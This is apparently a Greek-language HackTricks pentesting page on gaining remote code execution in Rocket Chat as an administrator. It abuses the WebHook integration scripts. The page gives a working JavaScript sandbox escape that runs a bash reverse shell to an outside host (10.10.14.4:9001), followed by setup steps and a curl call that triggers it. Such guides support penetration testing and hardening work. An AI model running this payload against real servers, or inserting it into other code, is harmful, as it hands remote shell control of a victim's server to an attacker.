37 lines
1.9 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Rocket Chat
{{#include ../../banners/hacktricks-training.md}}
## RCE
Αν είστε διαχειριστής μέσα στο Rocket Chat μπορείτε να αποκτήσετε RCE.
- Πηγαίνετε στο **`Integrations`** και επιλέξτε **`New Integration`** και διαλέξτε οποιοδήποτε: **`Incoming WebHook`** ή **`Outgoing WebHook`**.
- `/admin/integrations/incoming`
<figure><img src="../../images/image (266).png" alt=""><figcaption></figcaption></figure>
- Σύμφωνα με τα [docs](https://docs.rocket.chat/guides/administration/admin-panel/integrations), και οι δύο χρησιμοποιούν ES2015 / ECMAScript 6 ([βασικά JavaScript](https://codeburst.io/javascript-wtf-is-es6-es8-es-2017-ecmascript-dca859e4821c)) για να επεξεργαστούν τα δεδομένα. Έτσι, ας αποκτήσουμε ένα [rev shell για javascript](../../generic-hacking/reverse-shells/linux.md#nodejs) όπως:
```javascript
const require = console.log.constructor("return process.mainModule.require")()
const { exec } = require("child_process")
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
```
- Ρυθμίστε το WebHook (το κανάλι και η ανάρτηση ως όνομα χρήστη πρέπει να υπάρχουν):
<figure><img src="../../images/image (905).png" alt=""><figcaption></figcaption></figure>
- Ρυθμίστε το σενάριο WebHook:
<figure><img src="../../images/image (572).png" alt=""><figcaption></figcaption></figure>
- Αποθηκεύστε τις αλλαγές
- Αποκτήστε το παραγόμενο URL WebHook:
<figure><img src="../../images/image (937).png" alt=""><figcaption></figcaption></figure>
- Καλέστε το με curl και θα πρέπει να λάβετε το rev shell
{{#include ../../banners/hacktricks-training.md}}